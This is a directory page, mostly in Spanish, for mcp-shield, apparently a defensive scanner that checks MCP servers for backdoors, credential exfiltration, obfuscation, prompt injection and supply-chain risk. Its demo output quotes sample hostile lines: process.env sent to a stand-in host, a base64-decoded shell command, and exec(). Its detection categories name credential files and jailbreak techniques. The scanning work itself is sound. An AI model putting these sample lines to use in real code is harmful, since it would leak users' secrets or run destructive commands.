Skip to main content
Glama

mcp-shield

Un escáner de seguridad para servidores MCP: detecta puertas traseras, exfiltración, inyección de prompts y riesgos en la cadena de suministro antes de que lleguen a tu IA.

El ecosistema MCP está creciendo rápidamente. No todos los servidores en npm son seguros. mcp-shield permite a Claude auditar cualquier servidor MCP —local o desde npm— antes de que confíes en él con tus archivos, claves y contexto.


Qué detecta

Categoría

Ejemplos

Exfiltración

process.env enviado a través de la red, acceso a claves SSH, lectura de credenciales de AWS

Ejecución de código

eval(), new Function(), child_process.exec(), require() dinámico

Ofuscación

Decodificación en tiempo de ejecución Base64, cargas útiles codificadas en hex, matrices de códigos de caracteres

Acceso a archivos sensibles

.env, id_rsa, cookies del navegador, ~/.gitconfig

Inyección de prompts

Instrucciones ocultas, caracteres de ancho cero, ataques de cambio de rol, patrones de jailbreak

Cadena de suministro

Antigüedad del paquete, número de descargas, número de mantenedores, CVE en dependencias


Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Herramientas

Herramienta

Qué hace

scan_package

Descarga un paquete MCP de npm y lo escanea en busca de patrones maliciosos

scan_directory

Escanea un directorio de servidor MCP local (clonado desde GitHub, etc.)

check_prompt_injection

Comprueba las descripciones de herramientas o respuestas en busca de inyecciones ocultas

audit_supply_chain

Obtiene la puntuación de confianza, CVE, número de mantenedores y antigüedad de cualquier paquete npm


Instalación

Opción 1 — npx (sin instalación)

claude mcp add mcp-shield -- npx mcp-shield

Opción 2 — instalación global

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Opción 3 — configuración manual

Añadir a ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Ejemplos de uso

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

Cómo funciona

Análisis estático: escanea archivos fuente de JavaScript/TypeScript con una biblioteca de patrones regex que cubren más de 20 firmas de ataque en 5 categorías.

Auditoría de la cadena de suministro: consulta el registro de npm para obtener metadatos del paquete y luego ejecuta npm audit para detectar CVE conocidos en el árbol de dependencias.

Detección de inyección de prompts: comprueba las descripciones de las herramientas y las respuestas en busca de caracteres de ancho cero, anulaciones de instrucciones, ataques de cambio de rol y otras técnicas dirigidas a LLM.

Instalación --ignore-scripts: al escanear paquetes npm, se instala con --ignore-scripts para que no se ejecuten hooks de postinstalación maliciosos durante el análisis.


Contribución

Las PR son bienvenidas. Los patrones de detección se encuentran en src/patterns.ts: añadir nuevas firmas es un objeto simple.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

Licencia

MIT

Install Server
A
security – no known vulnerabilities
A
license - permissive license
A
quality - A tier

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'

If you have feedback or need assistance with the MCP directory API, please join our Discord server